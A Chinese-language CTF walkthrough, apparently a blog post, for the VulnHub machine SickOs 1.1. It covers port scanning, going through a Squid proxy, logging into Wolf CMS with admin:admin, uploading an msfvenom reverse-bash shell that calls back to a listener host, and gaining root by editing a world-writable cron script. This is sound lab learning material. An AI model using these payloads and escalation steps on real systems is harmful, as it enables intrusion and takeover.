sick0s1.1
靶机搭建
下载链接
https://download.vulnhub.com/sickos/sick0s1.1.7z
注意下载后kali和靶机都要是nat模式
信息搜集
主机发现
扫描发现多出来了139这台主机

端口扫描
快速TCP扫描
sudo nmap -sT --min-rate 10000 -p- 192.168.213.139 -oA ports

3128是squid,查了一下是一个代理服务器
8080好像是关闭的代理
常见端口的UDP扫描
sudo nmap -sU --top-ports 20 192.168.213.139 -oA udp

详细TCP扫描
sudo nmap -sT -sV -sC -O -p22,3128,8080 192.168.213.139 -oA detail

漏洞脚本扫描
sudo nmap --script=vuln -p22,3128,8080 192.168.213.138 -oA vuln

没什么有用的信息
漏洞探测
Web渗透
打开网页
3128端口显示的是squid 3.1.19,搜索一下

Squid 3.1.19 是一款经典的开源 Web 代理与缓存服务器,属于 Squid 3.1 稳定分支的一个维护版本,发布于 2012 年。
- 正向代理:为内网用户提供上网代理、访问控制与流量缓存。
- 反向代理:作为 Web 服务器前端,加速静态资源、实现负载均衡。
- 缓存加速:缓存 HTTP/FTP/HTTPS 等内容,降低带宽消耗、提升访问速度。
但这个页面报错了
8080端口无法连接

那是不是可以通过3128端口的代理来访问其他端口呢
在浏览器中设置代理

访问8080,还是不行

但是发现可以访问80端口

这里的BLEHHH是拟声吐槽词,表示很烦,很郁闷的意思
扫一下目录,主要这里扫的时候要加代理
sudo gobuster dir -u http://192.168.213.139 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -proxy http://192.168.213.139:3128

访问robots,发现/wolfcms,感觉是个关键线索

connect是一个文件,看着和定时任务有关系

访问wolfcms

查找历史漏洞

看一下可以RCE的CVE

说只要点击Files,上传包含木马的php文件,就可以RCE了
但我没找到Files按键,应该得先登录,搜索一下登录的网址

尝试弱密码登录,是admin:admin

成功登录后台

找到文件上传的入口

获得立足点
上传php反弹shell文件
这里可以用msfvenom来生成payload
sudo msfvenom -p cmd/unix/reverse_bash lhost=192.168.213.135 lport=9999 -f raw

生成shell.php,上传


访问http://192.168.213.139/wolfcms/public/shell.php
成功反弹shell,但是拿到的不是完整的shell

查看安装了的软件包
dpkg -l
有python

获得交互性更好的shell,升级一下
python -c "import pty;pty.spawn('/bin/bash')"

成功获得立足点
提权
查看一下定时任务

发现每分钟都会以root权限执行connect.py,这个名字很熟悉啊,不就是前面目录扫出来的吗


查看一下权限,任何人都可以写

生成python的反弹shell命令


成功拿到root


总结
第一次遇到代理,也是长见识了。提权的方式不止一种,还可以通过config.php中提到的密码复用来登录sickos的账号,然后通过sudo -l提权来获得root。




浙公网安备 33010602011771号